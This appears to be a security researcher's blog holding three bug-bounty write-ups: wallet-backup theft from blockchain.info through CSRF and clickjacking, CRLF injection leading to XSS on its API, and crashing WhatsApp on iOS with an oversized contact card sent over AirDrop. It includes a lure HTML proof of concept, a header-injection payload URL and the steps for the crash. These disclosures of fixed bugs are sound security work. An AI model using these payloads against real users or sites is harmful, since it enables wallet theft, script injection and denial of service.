Saturday, 11 November 2017

Stealing bitcoin wallet backups from blockchain.info

Oauth, where many bugs arise :)

This was one of my finding for the bug-bounty program of blockchain.info, where  I was able to steal anyone's bitcoin wallet backup of their blockchain.info account with negligible user interaction.


If you want to know what was this wallet backup feature meant for, you can check here.

https://blog.blockchain.com/2014/06/12/tutorial-backup-basics-the-best-ways-to-backup-your-blockchain-wallet/

[P.S This feature has been removed after the bug was reported. Sad! ]

So basically it created a JSON file which was the backup of your account which you could
Download, Email yourself or store it directly on your Gdrive and Dropbox accounts. The bad part was that if someone else gets your JSON file, he can simply import it at blockchain.info and steal all your bitcoins from your account.



Now the bug was in the implementation of storing it directly to Dropbox and Google Drive.


I noticed once you click on Dropbox or Gdrive button, you will be asked to log in with your Google or Dropbox account and once its authorized blockchain will automatically store the backup file in your dropbox or Gdrive using your access token.


When I looked more closely at all the requests, I found that if someone makes a Gdrive authentication at the end, the redirect URI was something like this.


https://blockchain.info/wallet/gdrive-update?code={YourGdriveToken}



Noticed something bad? No CSRF token yay!!!!


So all I had to do was
1) authenticate my google account at blockchain.info
2) Grab my drive token
3) Send the below link to a victim.
https://blockchain.info/wallet/gdrive-update?code={MYGdriveToken}
4) Once the link is clicked, when the victim is logged in into his bitcoin wallet backup will be stored in my Google Drive account

But a normal CSRF is boring. So clickjacking will serve as a catalyst for our attack :)

Although the complete website has clickjacking protection, but this URL was frameable.


So final POC

<html>
<head>
<title>Some fancy bitcoin lottery page</title>
</head>
<body>
<p>You won a lottery just open this page when you are logged in to blockchain.info and amount will be credited to you </p>
<iframe sandbox="allow-scripts allow-forms" src="https://blockchain.info/wallet/gdrive-update?code={Attackers Gdrive Token}" style="width:1%;height:1%"></iframe>
</body>
</html>

Once the victim lands on the page,  a hiding iframe will be loaded, and the wallet will be stored on the attackers google drive.

Bounty?
Yes

1600$



They fixed the bug very quickly, and indeed, blockchain.info takes care of their security very seriously. Unfortunately, after reporting this issue, they took down the backup feature forever. Sorry for breaking the backup feature.

Cheers
Shashank :)





Sunday, 5 November 2017

CRLF injection in blockchain.info

This bug was reported by me to "Blockchain.info" for their bug-bounty program.

For those who don't know about blockchain.info

"Blockchain.info is one of the world's most popular Bitcoin wallet and provides detailed information and charts on all Bitcoin transactions and blocks."

Understanding CRLF injection 

CRLF is CR(Carriage Return) and LF (Lined Feed or New Line) which is a non-printable ASCII character CR (ASCII value 13 also \r) and LF (ASCII value 10 also \n)




Now let's understand how CRLF is used in HTTP requests

Whenever we click on a website or just open a website or do anything, a request is generated from your browser, and a response is sent back from the server to you which in turn displays us the website.

For example, when we request blog.shashank.co in our browser. An HTTP request is sent
http://blog.shashank.co/
GET / HTTP/1.1
Host: blog.shashank.co
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

And a response is sent from the server.

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Expires: Tue, 31 Oct 2017 14:28:13 GMT
Date: Tue, 31 Oct 2017 14:28:13 GMT
Cache-Control: private, max-age=0
Last-Modified: Tue, 31 Oct 2017 14:26:43 GMT
ETag: W/"bf427f6283ea846b52644bb883f50252d472a65378d019392f78d16d43fe2f17"
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 13871
Server: GSE
<HERE IS THE WEBSITE BODY> 

For people who are unaware of how I dumped these headers, you can simply download the "LiveHTTPHeader" plugin for Firefox browser. Or simply open inspect element in your browser and click on the "network tabs" to view how all the requests are being sent while you are browsing through any website.



Now every line in an HTTP header is separated by a CRLF (as said it is non-printable ASCII character).  So its something like this.


GET / HTTP/1.1 [CRLF]
Host: blog.shashank.co [CRLF]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0 [CRLF]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 [CRLF]
Accept-Language: en-US,en;q=0.5 [CRLF]
Accept-Encoding: gzip, deflate [CRLF]
Connection: keep-alive [CRLF]
Upgrade-Insecure-Requests: 1 [CRLF]

HTTP/1.1 200 OK [CRLF]
Content-Type: text/html; charset=UTF-8 [CRLF]
Expires: Tue, 31 Oct 2017 14:28:13 GMT [CRLF]
Date: Tue, 31 Oct 2017 14:28:13 GMT [CRLF]
Cache-Control: private, max-age=0 [CRLF]
Last-Modified: Tue, 31 Oct 2017 14:26:43 GMT [CRLF]
ETag: W/"bf427f6283ea846b52644bb883f50252d472a65378d019392f78d16d43fe2f17"
Content-Encoding: gzip [CRLF]
X-Content-Type-Options: nosniff [CRLF]
X-XSS-Protection: 1; mode=block [CRLF]
Content-Length: 13871 [CRLF]
Server: GSE [CRLF] [CRLF]

<HERE IS THE BODY>

The bug 

 While I was going through the website, I found a place where I can download charts data in JSON and CSV format.

https://api2.blockchain.info/charts/total-bitcoins?cors=true&format=csv&lang=en

The last parameter, "lang=en." I thought of playing with it and changed it to "lang=english."

I noticed that the response header had a difference

GET /charts/total-bitcoins?cors=true&format=csv&lang=english HTTP/1.1
Host: api.blockchain.info
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/2.0 200 OK
date: Tue, 31 Oct 2017 15:47:21 GMT
content-type: text/csv; charset=ascii
content-length: 10953
access-control-allow-origin: *
cache-control: public, max-age=60
content-disposition: attachment; filename="total-bitcoins.csv"
content-language: english
<removed>

Ok so, the "lang" parameter is being reflected in the "content-language" header. Now the next step was to check for "CRLF" injection if we can add a CRLF and create our own response headers.

Now to inject a CRLF, we have to URL encode it. So the URL encode of \r\n is  "%0D%0A"

Upon sending a request

https://api2.blockchain.info/charts/total-bitcoins?cors=true&format=csv&lang=en%0ATEST
A new header was found in the response as TEST

So there is a CRLF injection!!. Now since a request also contains response body, we can even execute javascript code (cross-site scripting) to steal cookies or frame a phishing page


So the final payload

https://api2.blockchain.info/charts/total-bitcoins?cors=true&format=csv&lang=en%0AX-XSS-Protection:0%0AContent-Type:text/html%0AContent-Length:35%0A%0A%3Csvg%20onload%3Dalert%28document.domain%29%3E&__cf_waf_tk__=012853002E6loVIOSyqHfdxrvHJ87MshEnZI


Or  a phishing page







Reward 1600$



Saturday, 28 October 2017

Crashing anyones Whatsapp on IOS

This was a bug in iOS as well as WhatsApp, which could allow anyone to permanently crash the WhatsApp of the victim under certain conditions.

I was playing with my iPhone when I realized that I could create contact with "first name" consisting of a very large number of characters in it. Though it worked well, but I had a feeling that its impact will be somewhere as handing huge characters might tremble some of the other apps.

After an hour or so, I opened WhatsApp to check my messages, and it closed suddenly. I opened again, and the same thing happened. Now I was quick enough to connect the dots. I deleted the contact (with a very big First Name), and my WhatsApp was working.

I thought of reporting it to apple as well as Facebook, but it was likely to be rejected because it was exploitable only on my own phone. Anyways what's the point of a bug which is exploitable on self.

So what's next

Think ..
Thinkk ..

Flashback of few articles of self XSS which was converted into reflected XSS because the researcher found a way to make it shareable.  [Advantage of reading lots of write-ups ]

connecting dotssss....

Yes, contacts are sharable!!!

But my own WhatsApp is crashing how I can share it ???
Hence can't share the malicious contact with others via WhatsApp.  SAD!

Solution
Share it through other messengers. Slack?

So here are the steps:-

1) Create a contact with a huge number of characters.
2) Share it with slack or any other messenger app.
3) Victim downloads it.
4) Victim imports it as a contact.
5) Ends up screwing his WhatsApp

Completely boring!!!  So many user interactions required huhhh!

Plus a contact name with like this looks suspicious




Problems to solve now
1)Lessen the number of user interaction required.
2)Make the screen look less suspicion when contact is being displayed.

While I was looking for alternatives, I found that contacts can be shared as a .vcf file. Bingo!!!
Now I don't need a phone to share the malicious contact file. I can do it on my laptop.

And I can add space characters to make contact look less suspicious. [Problem 2 solved]



What about sharing the malicious .vcf file? AirDrop baby!!!!

So here's what we are going to do.

1) Make a ".vcf" file on my MacBook. Here is a sample one

https://gist.githubusercontent.com/Shashank-In/4ac499e885714c4e2d47b989fce4a775/raw/dbf7ff6cea88395d3d34c2ca6fafe3a7b4e58674/shashank.vcf

With 3800 characters included in it with lots of spaces to make it less suspicious when displayed


Could have made it spicier like. Victims Crush's phone number <3

2) Start sharing it to people nearby you through AirDrop.  A ".vcf" file, when sent through AirDrop, gets automatically imported in a single click when accepted, unlike another messenger where a person had to manually import it as a contact.

Once accepted, the number will be saved. And when the next time victim opens his/her WhatsApp, WhatsApp will crash.

My guess of issue in background . Every time when we open WhatApp perhaps it checks for newly added contacts to automatically show if that the number is associated with WhatApp account . So perhaps while looking for a new contact WhatApp found our malicious contact and could not handle it and hence crashed . And this repeats
WhatApp is opened > It looks for new contacts > Can't handle our malicious contact > crashes

Victim cannot use his WhatApp :)

Wewww

Video POC









Rewards , NO!
Facebook blamed Apple for it .




Apple happily fixed it in iOS 10.3.3



Though I feel that there was fault from WhatApp too because when I tried the same thing on telegram, telegram truncated the name of the contact to around 50ish and hence did not crash .

Happy crashing!